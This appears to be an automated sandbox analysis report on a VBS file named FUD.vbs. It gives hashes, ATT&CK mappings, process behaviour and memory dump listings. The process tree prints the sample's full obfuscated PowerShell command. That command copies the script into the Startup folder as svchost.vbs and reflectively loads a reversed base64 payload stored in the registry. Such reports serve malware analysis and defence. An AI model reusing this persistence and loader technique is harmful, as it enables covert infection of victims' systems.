f9f35704de5a2355e9b8b7107613736b5501573cfb9794126867ccd73100ea98

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28/02/2025, 15:40

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General

Target

FUD.vbs
Size

325KB
MD5

d525be35ac5b7de70edb7c00529f1d83
SHA1

eef5cd4c355487132d225492acdc425fb0fe606d
SHA256

f9f35704de5a2355e9b8b7107613736b5501573cfb9794126867ccd73100ea98
SHA512

32e399504a0669e0c83872a947cf24955489f2b3f75dae83cec2798681f4249d6bac02f861436fcbf6b8d2321045ab7fbc6c006bf33ca1402429ce799e254830
SSDEEP

6144:PAbSQwEhvxxx06qUY2fVHavDdl8PI76KF51u7WJVzZF:PAbBlhqp2fZsDdlYI77BVlF

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2400	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2400	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2400	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 2400	2720	WScript.exe	30
PID 2720 wrote to memory of 2400	2720	WScript.exe	30
PID 2720 wrote to memory of 2400	2720	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.vbs'; $roadtest = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $roadtest = -join $roadtest[-1..-$roadtest.Length];[<##>AppDomain<##>]::<##>('seaserviceurrentDomain'.replace('seaservice','C'))<##>.<##>('digeneticoad'.replace('digenetic','L'))([Convert]::FromBase64String($roadtest))<##>.<##>('estocsntryPoint'.replace('estocs','E'))<##>.<##>('Instolonoke'.replace('stolon','v'))($Null,$Null)<##>;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2400-4-0x000007FEF518E000-0x000007FEF518F000-memory.dmp

Filesize
4KB

Download
memory/2400-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2400-6-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2400-7-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-8-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-9-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-10-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-11-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-12-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-13-0x000007FEF518E000-0x000007FEF518F000-memory.dmp

Filesize
4KB

Download